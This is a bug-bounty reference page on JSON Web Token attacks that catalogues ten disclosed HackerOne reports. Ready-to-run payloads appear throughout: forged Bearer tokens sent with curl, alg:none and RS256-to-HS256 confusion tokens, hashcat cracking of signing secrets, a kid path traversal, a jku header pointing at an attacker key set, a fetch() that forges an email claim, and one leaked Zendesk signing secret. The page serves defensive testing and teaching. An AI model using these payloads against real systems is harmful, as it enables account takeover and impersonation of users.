⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/JSON Web Tokens (JWT)
Attack surface

JSON Web Tokens (JWT)

⚠ Thin coverage — only 10 disclosed reports for this class; illustrative, not exhaustive.

§Basic information

A JSON Web Token is a base64url-encoded header.payload.signature triple. The server hands it to the client after login, the client sends it back on every request, and the server is supposed to trust the claims inside (sub, email, jti, groups, exp) only if the signature verifies with the expected key and the expected algorithm. That single check is the entire security boundary.

Every JWT bug is one variation on the server skipping, weakening, or misconfiguring that check and then trusting attacker-controlled claims as identity. Because the payload is the identity, a token you can forge or replay makes you whoever the payload says you are — so JWT flaws are best treated as direct authentication-bypass and account-takeover primitives, not crypto curiosities. The three parts are all attacker-visible and attacker-editable; the only thing standing between you and impersonating any user is whether the verifier does its job.

§Methodology

  1. Grab a token and decode it locally. Split on the dots, base64url -d parts 1 and 2. Never paste a live-engagement token into a hosted decoder — decode offline.
  2. Read the header (alg, kid, jku, x5u) and note which payload claim carries identity (sub, email, jti, uid, u, groups). That claim is the one you flip.
  3. Fingerprint the library/stack — Node jsonwebtoken, PyJWT, jose, Prosody/luajwtjitsi, Auth0, Keycloak, Argo CD — each has its own signature failure modes.
  4. Run the differential ladder below: mutate the token so it should be rejected, and watch for the tell — the server still accepts it.
  5. Confirm identity flipped, not just "200 OK". Look at a /me-style echo, or fetch a resource only the victim can see.
  6. For microservice fleets, replay the same tampered token against every distinct backend and diff which ones accept it — validation is rarely uniform.
# The one tell that matters: the server STILL accepts the token after you break it. # Mutate the identity claim, then attack the signature by each route in turn: # payload(email=VICTIM) + old signature -> decode(), not verify()? # alg:none, empty signature -> unsigned tokens trusted? # RS256 -> HS256, public key as HMAC secret -> algorithm not pinned? # exp set to the past -> claims not validated? # token from a SIBLING app, same IdP -> aud not checked?

§Signature & validation attacks

Work down this ladder against the specific library you fingerprinted. Each is an independent way the verifier's job goes undone.

No signature verification (decode vs verify)

The single most common JWT bug. The middleware reads the token with a decode call (jwt.decode(), jwt_decode(), or a hand-rolled base64 split) that parses the payload without checking the signature, then trusts the identity claim inside. Mutate the identity claim, leave the signature field arbitrary, and you are that user. Test by changing only the payload and keeping the old (now-invalid) signature — if it still authenticates, nothing verifies it.

# Middleware does jwt.decode(token) and trusts payload.jti as the user id. # Same bogus signature on both — only the payload changed. curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjF9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" https://TARGET/ # -> user 1 curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjJ9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" https://TARGET/ # -> user 2, sig never checked

Some login endpoints trust an email/sub claim after a decode. Craft the payload, sign with anything, POST it:

# Login/registration endpoint decodes but never verifies -> forge the email claim. url="https://TARGET/wp-json/newspack-extended-access/v1/google/register" token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InZpY3RpbUBleGFtcGxlLm9yZyJ9.anything" curl -s "$url" -H 'Content-Type: text/plain' --data-binary "$token" # now authed as VICTIM
● NOTE
The same class hides in reissue/refresh endpoints. If POST /token cryptographically verifies only the refresh token and then merely decode()-compares the access token, tamper the access token's payload — the server re-signs your forged claims into a fresh, validly-signed token. Both tokens in a compare/reissue flow must be verified, not decoded.

alg:none

The JWT spec allows an alg of none — an unsecured token with no signature at all. A verifier that honours the token's own alg header will accept it with an empty signature. Set the header, keep the trailing dot, drop the signature.

# header {"alg":"none","typ":"JWT"} payload {"sub":"VICTIM","role":"admin"} # Note the trailing dot and empty signature. printf '%s' '{"alg":"none","typ":"JWT"}' | basenc --base64url | tr -d '=' # eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 # Final token: <b64url header>.<b64url payload>. curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJWSUNUSU0iLCJyb2xlIjoiYWRtaW4ifQ." https://TARGET/
▸ TIP
If none is blacklisted, try case and spacing variants — None, NONE, nOnE — many blacklists match only the exact lowercase string while the library lowercases before dispatch.

Algorithm confusion (RS256 → HS256)

The token was issued RS256 (asymmetric: private key signs, public key verifies). If the verifier picks the algorithm from the token's alg header instead of pinning it to the configured key type, switch alg to HS256 and HMAC-sign with the RSA public key bytes as the secret. The public key is not secret — it is published in JWKS, a cert, or the TLS chain — so it becomes a perfectly good HMAC key the server will accept.

# 1. Fetch the public key (JWKS, /.well-known, or extract from the TLS cert) as PEM. # 2. Forge header {"alg":"HS256","typ":"JWT"} + your payload. # 3. HMAC-SHA256 over b64url(header) + "." + b64url(payload) using the PEM bytes as the key. jwt_tool <TOKEN> -X k -pk public.pem # jwt_tool automates the confusion attack # or with a raw openssl HMAC using public.pem as -hmackey

Weak or leaked HMAC secret

HS256 security collapses if the shared secret is guessable (secret, changeme, a framework default) or exposed. Crack it offline; if you recover it, you can mint any token. Client-side SSO is the classic exposure — an SPA that HMAC-signs the JWT in the browser ships the secret in the JS bundle or a leftover .js.map sourcemap.

# Offline dictionary/brute crack of the HS256 secret. hashcat -a 0 -m 16500 token.jwt wordlist.txt # or: john --format=HMAC-SHA256 # Client-minted SSO: pull the sourcemap, grep the secret, mint for the victim. curl -s https://TARGET/static/app.js.map | grep -Eo '[A-Z_]*SECRET[^"]*' # REACT_APP_ZENDESK_SECRET=... # HS256-sign {"iat":<now>,"jti":"<uuid>","name":"x","email":"VICTIM"} with that secret, then: curl "https://TARGET.zendesk.com/access/jwt?jwt=<forged>" # logged in as VICTIM

kid / jku / x5u header injection

Header parameters tell the verifier where to find the key. If they are trusted unsanitised, you control the key.

# kid path traversal to a predictable file -> sign HS256 with that file's known bytes. {"alg":"HS256","kid":"../../../../../../dev/null","typ":"JWT"} # key = "" (empty) -> sign with empty secret # jku pointing at attacker JWKS (RS256): server fetches YOUR public key and verifies YOUR signature. {"alg":"RS256","jku":"https://COLLAB/jwks.json","typ":"JWT"}

Claim tampering (exp / aud / sub)

Even a verified signature is not enough if the claims go unchecked. If a backend skips proper exp handling, a past-dated token still passes. If aud is not enforced, a validly-signed token minted for a different audience of the same IdP is accepted and mapped to local privileges through its groups claim.

# Past-dated exp accepted by a lax microservice: {"sub":"VICTIM","exp":1000000000} # 2001 — replay against every backend, diff which accept it # Cross-audience OIDC replay — signature is valid, aud is simply never checked: # Authorization: Bearer <valid-signed token from a SIBLING app on the same IdP, groups=admins>

§Bypasses

Each row is a real validation or token-trust failure; "Seen in" cites the report it came from.

Filter / controlBypassSeen in
Middleware reads the tokenjwt.decode() (no sig check) trusts the payload identity — flip the claim, keep the old signature#748214
Reissue endpoint verifies a token/token verifies only the refresh token, decode()-compares the rest — tamper the access payload, it gets re-signed#736522
Login endpoint "checks" the JWTPayload decoded, email claim trusted; unsigned / wrong-key token accepted#2472798
RS256 asymmetric verificationalg not pinned to key type — switch to HS256, sign with the RSA public key as the HMAC secret#1210502
Signature verified (false confidence)aud never validated — replay a signature-valid token from a sibling IdP audience#1889161
Expiry validationSome backends skip exp/signature checks — a past-dated exp still passes#1760403
Secret kept "server-side"HMAC signing secret shipped in the JS bundle / .js.map sourcemap — mint any-email token#638635
Authz on the admin UI pageThe JWT-minting get-started/connect servlet behind it enforces no role check#1103582
Token revoked at the IdPNo server-side revocation — token trusted until exp after account disable/delete#2122690
Session lifetimeLong-lived, non-revocable OIDC/SIWA bearer token — one interception = durable multi-device ATO#1593413
▲ WARNING
"The signature is valid" is not proof the token is safe. A verified signature only says the issuer minted these bytes — it says nothing about aud, exp, iss, nbf, or whether the account still exists. The aud-skip (#1889161) and the past-exp (#1760403) cases both have perfectly valid signatures.

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 10 in this class.

Real-world example

OIDC JWT aud (audience) claim not validated

◆ Critical
Specimen #1889161 · ibb · awarded · 97 votes · resolved
Program ibbSurface apiTag jwtTag oauth

Root cause

Argo CD (CVE-2023-22482, v1.8.2+) validates the OIDC token signature but never checks the aud claim, so a validly-signed token minted for a different audience of the same IdP is accepted and mapped to Argo privileges via its groups claim.

Method

  1. Identify an OIDC-protected service sharing an IdP with other audiences
  2. Obtain a valid token issued for a different audience (same IdP)
  3. Present it to the target; if aud isn't checked, it's accepted with the token's groups
Authorization: Bearer <valid-signed-JWT with aud=other-service, groups=admins>

Insight — When testing OIDC/JWT auth, check aud enforcement: reuse a token from a sibling app on the same IdP. Signature-valid does not mean intended-for-this-service; missing aud check widens stolen-token blast radius.

Real-world example

JWT accepted with past-dated exp (broken expiry/signature validation)

◆ High
Specimen #1760403 · linktree · awarded · 142 votes · resolved
Program linktreeSurface apiTag jwtTag account-takeover

Root cause

Some backend microservices did not properly validate the JWT; setting the expiration claim to a Unix timestamp in the past bypassed validation, enabling account takeover.

Method

  1. Obtain any JWT
  2. Set exp to a timestamp in the past (and/or tamper other claims)
  3. Send to backend services - some accept it without proper signature/expiry checks
  4. Use for account takeover on the services with weak validation
# modify JWT payload: {"sub":"victim","exp":1000000000} # then present to each backend service and diff which ones accept it

Insight — Never assume uniform JWT validation across a microservice fleet; replay a tampered token (past exp, alg:none, swapped kid, changed sub) against every distinct backend - one service with lax validation is enough.

Real-world example

Client-side SSO JWT signing with secret in JS/sourcemap

◆ High
Specimen #638635 · trint · none · 101 votes · resolved
Program trintSurface webChain secret disclosure -> forge SSO JWT -> impersonate any Tag jwtTag account-takeover

Root cause

Zendesk SSO JWTs are generated in the browser, so the HMAC signing secret is shipped in client JS (recoverable from the sourcemap); anyone can mint a JWT for any email and impersonate that user.

Method

  1. Grab the app JS and its .js.map sourcemap
  2. Grep the map for the secret env var (REACT_APP_ZENDESK_SECRET)
  3. Build a JWT {iat, jti(uuid), name, email:victim} signed HS256 with that secret
  4. GET https://TARGET.zendesk.com/access/jwt?jwt=<token> -> logged in as victim
REACT_APP_ZENDESK_SECRET = "oq1HJ4jXo99Wt41bwvLh9BXBVdgpi52CjkXbThow7UhWQGtJ" # HS256 sign {"iat":<now>,"jti":"<uuidv4>","name":"x","email":"victim@x.com"}

Insight — Any client-side token minting = secret in the client. Always pull .js.map sourcemaps and grep for *_SECRET/HMAC keys; SSO/JWT generation belongs server-side.

Real-world example

jwt.decode() without verify() — forge any identity

◆ High
Specimen #748214 · nodejs-ecosystem · none · 12 votes · resolved
Program nodejs-ecosystemSurface apiTag jwtTag account-takeover

Root cause

The express-laravel-passport middleware reads the JWT with jwt.decode(token) (which parses without checking the signature) and trusts the jti/user id from the payload. An attacker can craft any payload, keep a bogus signature, and be authenticated as any user.

Method

  1. Obtain any valid-looking JWT (or mint one at jwt.io)
  2. Change the payload claim used for identity (here jti) to the target user id
  3. Leave the signature arbitrary — it is never verified
  4. Send it in Authorization: Bearer and be logged in as that user
# {"jti":1} curl -H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjF9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" localhost:3000 # -> logged in as: 1 # {"jti":2} same (invalid) signature curl -H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjJ9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" localhost:3000 # -> logged in as: 2 (signature never checked)

Insight — Grep auth middleware for jwt.decode( (or jsonwebtoken decode, base64-decoding the payload manually) instead of jwt.verify(). If identity is taken from a decoded-but-unverified token, you can impersonate anyone by editing the payload. Test by mutating the payload while leaving the signature untouched — success proves no verification.

Real-world example

Token reissue verifies only the refresh token, forging identity

◆ High
Specimen #736522 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface apiTag jwtTag account-takeover

Root cause

On POST /token the code cryptographically verified only the refreshToken, then compared jwt.decode() (unverified) signatures between token and refreshToken; the target token's own signature was never validated, so a tampered token payload got re-signed into a valid new token, forging the user identity.

Method

  1. Obtain a valid token + refreshToken pair
  2. Modify the identity claim (e.g. payload 'u') inside the (unverified) token
  3. POST to /token; server reissues a validly-signed token bearing the forged identity
// vulnerable check if (jwt.verify(refreshToken, key)) { return jwt.decode(token,{complete:true}).signature === jwt.decode(refreshToken).signature; } // 'token' is never jwt.verify()'d -> tamper its payload, keep signature field

Insight — When two tokens are compared/reissued, BOTH must be cryptographically verified; comparing jwt.decode() output (which never checks the signature) is an auth bypass. Audit refresh/reissue endpoints for verify-vs-decode mistakes.

Real-world example

Deprovisioning bypass: Access JWT still valid after account disabled at IdP

◆ High
Specimen #2122690 · cloudflare · awarded · 42 votes · resolved
Program cloudflareSurface webTag jwtTag account-takeover

Root cause

Zero Trust Access did not re-validate certain server-side conditions on each request, so a user disabled/deleted at the IdP who retained metadata of a prior Access JWT (plus a second active account in the same org) could keep reaching protected SaaS apps despite lacking privilege.

Method

  1. Obtain/retain the Access JWT metadata while still a valid user.
  2. Have (or gain) a second active account in the same organization.
  3. After the primary account is disabled at the IdP, replay/reuse the retained JWT context; missing server-side revalidation lets access continue.

Insight — Test that a security event (account disable/delete, role removal, password reset) actually revokes existing tokens/sessions server-side. JWT-based systems often trust the token until expiry and skip re-checking current account state.

Real-world example

Integration JWT issued without checking the requesting user's role

◆ Medium
Specimen #1103582 · security · awarded · 210 votes · resolved
Program securitySurface webChain low-priv JWT leak -> link H1 to unowned Jira -> privatTag jwt

Root cause

The HackerOne-for-Jira app generated the integration claim JWT for any Jira user who visited the get-started servlet, without verifying they had admin/config privileges - so a Basic Jira user could obtain the JWT and link the (unowned) Jira instance to their own H1 account.

Method

  1. On a Jira instance where the app is installed, use a Basic-role user
  2. Visit {BaseUrl}/plugins/servlet/ac/com.hackerone/get-started-with-hackerone-on-jira
  3. Follow the 'click here' link to hackerone.com/apps/atlassian/claim-app?jwt=<TOKEN>
  4. Use the leaked JWT to link the Jira instance to the attacker's H1 account, exposing private projects/issues
GET {BaseUrl}/plugins/servlet/ac/com.hackerone/get-started-with-hackerone-on-jira -> https://hackerone.com/apps/atlassian/claim-app?jwt=<INTEGRATION_JWT>

Insight — Integration/setup endpoints that mint linking tokens (JWTs, install secrets) must enforce the same admin authorization as the config UI. Test low-privilege roles against 'get-started'/'connect'/'claim' servlets - the token issuance often lacks a role check even when the UI page is hidden.

Real-world example

Auth bypass via missing JWT signature verification (forge email claim)

◆ Medium
Specimen #2472798 · automattic · awarded · 50 votes · resolved
Program automatticSurface webTag jwtTag account-takeover

Root cause

Login/registration endpoint decodes the JWT payload but never verifies its signature. Any attacker-crafted (unsigned or wrong-key) token with an arbitrary email claim is trusted, authenticating as that user or creating arbitrary accounts.

Method

  1. Craft a JWT whose payload contains email of the target account (sign with anything, or alg=none).
  2. POST the token as text/plain to the auth endpoint (/wp-json/newspack-extended-access/v1/google/register).
  3. Browser is now authenticated as the target user; or supply new details to register arbitrary accounts.
let url = `${location.origin}/wp-json/newspack-extended-access/v1/google/register`; let token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InZpY3RpbUBleGFtcGxlLm9yZyJ9.anything"; fetch(url,{method:'POST',headers:{'Content-type':'text/plain'},body:token});

Insight — On any JWT/OIDC login, test whether the signature is actually checked: strip the signature, set alg=none, or re-sign with a random key, then flip the email/sub/uid claim. If it still authenticates, the server trusts decoded claims blindly.

Real-world example

JWT algorithm confusion (RS256->HS256, public key as HMAC secret)

◆ Medium
Specimen #1210502 · 8x8-bounty · none · 37 votes · resolved
Program 8x8-bountySurface webTag jwtTag account-takeover

Root cause

A Prosody JWT module accepted symmetric algorithms even when asymmetric (RS256) verification was configured; setting alg to HS256 and signing with the known public key as the HMAC secret produced a token the server accepted.

Method

  1. Obtain the instance's configured RSA public key
  2. Forge a JWT with header alg=HS256 and the desired claims
  3. HMAC-sign it using the public key bytes as the secret
  4. Present the token to enter/start protected conference rooms
# header: {"alg":"HS256","typ":"JWT"} # sign(base64url(header)+'.'+base64url(payload), key=RSA_PUBLIC_KEY_PEM) using HMAC-SHA256

Insight — When a verifier does not pin the algorithm to the key type, a public key (which is not secret) becomes a usable HMAC secret. Always test alg swapping RS256->HS256.

Real-world example

Excessive-lifetime, irrevocable Sign in with Apple JWT

◆ Low
Specimen #1593413 · cloudflare · USD 250 · 16 votes · resolved
Program cloudflareSurface webTag jwtTag account-takeover

Root cause

The OIDC JWT issued on Sign in with Apple had a very long validity and no revocation, so an intercepted token grants impersonation across devices for its whole lifetime without re-auth.

Method

  1. Capture the OIDC/SIWA JWT after login
  2. Decode exp; confirm a long validity window
  3. Replay the token from another device within that window -> full access

Insight — Audit SSO/OIDC token exp and revocation: long-lived, non-revocable bearer JWTs turn a single interception into durable multi-device ATO.

§References & practice

  1. PortSwigger Web Security Academy — JWT labs (hands-on practice).
  2. All 10 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.